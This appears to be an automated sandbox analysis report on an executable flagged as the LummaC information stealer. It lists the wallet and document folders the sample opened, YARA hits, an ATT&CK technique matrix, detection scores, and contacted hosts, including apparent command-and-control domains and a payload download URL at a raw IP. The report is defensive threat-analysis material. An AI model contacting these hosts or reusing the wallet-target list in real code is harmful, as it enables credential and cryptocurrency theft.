Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\UBVUNTSCZJ	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\UBVUNTSCZJ	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\UBVUNTSCZJ	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\UBVUNTSCZJ	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\UBVUNTSCZJ	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\UBVUNTSCZJ	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\WDBWCPEFJW	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\WDBWCPEFJW	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior

Source: C:\Users\user\Desktop\RZnZbS97dD.exe

Directory queried: number of queries: 1001

Source: Yara match

File source: Process Memory Space: RZnZbS97dD.exe PID: 5196, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: RZnZbS97dD.exe PID: 5196, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	34 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	41 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	751 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
RZnZbS97dD.exe	54%	Virustotal		Browse
RZnZbS97dD.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
RZnZbS97dD.exe	100%	Avira	TR/Crypt.TPM.Gen
RZnZbS97dD.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
s-part-0014.t-0009.t-msedge.net	13.107.246.42	true	false	high
discokeyus.lat	104.21.21.99	true	false	high
s-part-0015.t-0009.t-msedge.net	13.107.246.43	true	false	high
www.google.com	142.250.181.132	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
grannyejh.lat	unknown	unknown	false	high
sweepyribs.lat	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
necklacebudi.lat	false	high
https://discokeyus.lat/api	true	unknown
aspecteirs.lat	false	high
sweepyribs.lat	false	high
sustainskelet.lat	false	high
crosshuaht.lat	false	high
rapeflowwj.lat	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
energyaffai.lat	false	high
grannyejh.lat	false	high
discokeyus.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_83.12.dr	false	high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	RZnZbS97dD.exe, 00000004.00000003.1420997726.0000000005199000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1421015639.00000000051A0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	RZnZbS97dD.exe, 00000004.00000003.1347540494.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1346621418.00000000051DE000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1347654523.00000000051DC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	RZnZbS97dD.exe, 00000004.00000003.1347540494.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1346621418.00000000051DE000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1347654523.00000000051DC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/P	RZnZbS97dD.exe, 00000004.00000003.1421317688.000000000519A000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1396992900.000000000519A000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1420997726.0000000005199000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1396548772.000000000519A000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1397745587.000000000519A000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://discokeyus.lat/apiF	RZnZbS97dD.exe, 00000004.00000003.1425689146.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_83.12.dr	false	high
https://www.linkedin.com/cws/share?url=$	chromecache_93.12.dr, chromecache_113.12.dr	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RZnZbS97dD.exe, 00000004.00000003.1347540494.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1346621418.00000000051DE000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1347654523.00000000051DC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/Youssef1313	chromecache_83.12.dr	false	high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_93.12.dr, chromecache_113.12.dr	false	high
https://aka.ms/msignite_docs_banner	chromecache_93.12.dr, chromecache_113.12.dr	false	high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_113.12.dr	false	high
http://polymer.github.io/AUTHORS.txt	chromecache_93.12.dr, chromecache_113.12.dr	false	high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_83.12.dr	false	high
https://discokeyus.lat:443/apiE	RZnZbS97dD.exe, 00000004.00000003.1464102617.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_93.12.dr, chromecache_113.12.dr	false	high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_83.12.dr	false	high
http://x1.c.lencr.org/0	RZnZbS97dD.exe, 00000004.00000003.1397495348.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	RZnZbS97dD.exe, 00000004.00000003.1397495348.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/pshelpmechoose	chromecache_93.12.dr, chromecache_113.12.dr	false	high
https://discokeyus.lat/apiph	RZnZbS97dD.exe, 00000004.00000003.1425689146.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://aka.ms/feedback/report?space=61	chromecache_83.12.dr	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	RZnZbS97dD.exe, 00000004.00000003.1347540494.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1346621418.00000000051DE000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1347654523.00000000051DC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exeerX	RZnZbS97dD.exe, 00000004.00000003.1603185334.0000000000A9C000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1673493853.0000000000A62000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1603273272.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000002.1717792796.0000000000A62000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://learn-video.azurefd.net/vod/player	chromecache_93.12.dr, chromecache_113.12.dr	false	high
https://twitter.com/intent/tweet?original_referer=$	chromecache_93.12.dr, chromecache_113.12.dr	false	high
https://github.com/gewarren	chromecache_83.12.dr	false	high
http://185.215.113.16/off/def.exepleWebKit/537.36	RZnZbS97dD.exe, 00000004.00000002.1715937617.00000000006FB000.00000004.00000010.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefoxgro.all	RZnZbS97dD.exe, 00000004.00000003.1398580272.00000000052B5000.00000004.00000800.00020000.00000000.sdmp	false	high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_93.12.dr, chromecache_113.12.dr	false	high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_83.12.dr	false	high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_83.12.dr	false	high
https://client-api.arkoselabs.com/v2/api.js	chromecache_93.12.dr, chromecache_113.12.dr	false	high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_93.12.dr, chromecache_113.12.dr	false	high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_93.12.dr, chromecache_113.12.dr	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	RZnZbS97dD.exe, 00000004.00000003.1347540494.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1346621418.00000000051DE000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1347654523.00000000051DC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/Thraka	chromecache_83.12.dr	false	high
http://polymer.github.io/PATENTS.txt	chromecache_93.12.dr, chromecache_113.12.dr	false	high
https://aka.ms/certhelp	chromecache_93.12.dr, chromecache_113.12.dr	false	high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	RZnZbS97dD.exe, 00000004.00000003.1420997726.0000000005199000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1421015639.00000000051A0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RZnZbS97dD.exe, 00000004.00000003.1347540494.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1346621418.00000000051DE000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1347654523.00000000051DC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	RZnZbS97dD.exe, 00000004.00000003.1397495348.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/mairaw	chromecache_83.12.dr	false	high
http://ocsp.rootca1.amazontrust.com0:	RZnZbS97dD.exe, 00000004.00000003.1397495348.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://schema.org	chromecache_113.12.dr	false	high
http://polymer.github.io/LICENSE.txt	chromecache_93.12.dr, chromecache_113.12.dr	false	high
https://www.ecosia.org/newtab/	RZnZbS97dD.exe, 00000004.00000003.1347540494.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1346621418.00000000051DE000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1347654523.00000000051DC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	RZnZbS97dD.exe, 00000004.00000003.1398580272.00000000052B5000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_83.12.dr	false	high
https://ac.ecosia.org/autocomplete?q=	RZnZbS97dD.exe, 00000004.00000003.1347540494.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1346621418.00000000051DE000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1347654523.00000000051DC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/nschonni	chromecache_83.12.dr	false	high
http://185.215.113.16/	RZnZbS97dD.exe, 00000004.00000003.1603041653.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	false	high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_93.12.dr, chromecache_113.12.dr	false	high
http://185.215.113.16/B	RZnZbS97dD.exe, 00000004.00000003.1603041653.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1608579784.0000000000AC4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://github.com/adegeo	chromecache_83.12.dr	false	high
http://crl.micro	RZnZbS97dD.exe, RZnZbS97dD.exe, 00000004.00000003.1447165788.0000000000A65000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1503865509.0000000000A65000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1503980815.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	RZnZbS97dD.exe, 00000004.00000003.1420997726.0000000005199000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1421015639.00000000051A0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/	RZnZbS97dD.exe, 00000004.00000003.1446845277.000000000519A000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1464102617.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1463985863.000000000519A000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1421317688.000000000519A000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1450753922.000000000519A000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1608442259.000000000519A000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000002.1721741458.0000000005190000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1420997726.0000000005199000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000002.1716869125.0000000000A3B000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1503693901.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1602986818.0000000005196000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://github.com/jonschlinkert/is-plain-object	chromecache_93.12.dr, chromecache_113.12.dr	false	high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	RZnZbS97dD.exe, 00000004.00000003.1397495348.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://octokit.github.io/rest.js/#throttling	chromecache_93.12.dr, chromecache_113.12.dr	false	high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	RZnZbS97dD.exe, 00000004.00000003.1420997726.0000000005199000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1421015639.00000000051A0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	RZnZbS97dD.exe, 00000004.00000003.1421015639.00000000051A0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	RZnZbS97dD.exe, 00000004.00000003.1420997726.0000000005199000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1421015639.00000000051A0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/js-cookie/js-cookie	chromecache_93.12.dr, chromecache_113.12.dr	false	high
http://185.215.113.16/off/def.exe	RZnZbS97dD.exe, 00000004.00000003.1603185334.0000000000A9C000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1673493853.0000000000A62000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1603273272.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000002.1717792796.0000000000A62000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schema.org/Organization	chromecache_83.12.dr	false	high
https://channel9.msdn.com/	chromecache_93.12.dr, chromecache_113.12.dr	false	high
